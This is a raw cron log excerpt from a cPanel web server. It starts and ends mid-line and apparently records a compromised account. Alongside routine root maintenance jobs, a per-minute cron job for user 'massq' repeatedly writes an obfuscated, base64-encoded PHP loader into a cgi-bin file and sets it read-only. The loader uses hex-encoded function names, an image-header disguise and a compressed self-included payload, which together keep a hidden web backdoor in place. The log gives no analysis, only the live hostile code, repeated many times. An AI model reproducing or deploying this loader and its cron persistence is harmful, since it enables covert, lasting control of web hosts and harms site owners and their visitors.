tQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:34:01 server CROND[7536]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:35:01 server CROND[7609]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  9 18:35:01 server CROND[7612]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 18:35:01 server CROND[7613]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 18:35:01 server CROND[7614]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:35:01 server CROND[7615]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 18:36:01 server CROND[7738]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:37:01 server CROND[7806]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:38:01 server CROND[7869]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:39:01 server CROND[7938]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 18:39:01 server CROND[7939]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:40:01 server CROND[8013]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 18:40:01 server CROND[8014]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 18:40:01 server CROND[8015]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:40:01 server CROND[8016]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 18:41:01 server CROND[8191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:42:01 server CROND[8346]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 18:42:01 server CROND[8347]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:43:01 server CROND[8417]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:44:01 server CROND[8514]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:45:01 server CROND[8582]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 18:45:01 server CROND[8583]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 18:45:01 server CROND[8584]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:46:01 server CROND[8698]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 18:47:01 server CROND[8877]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7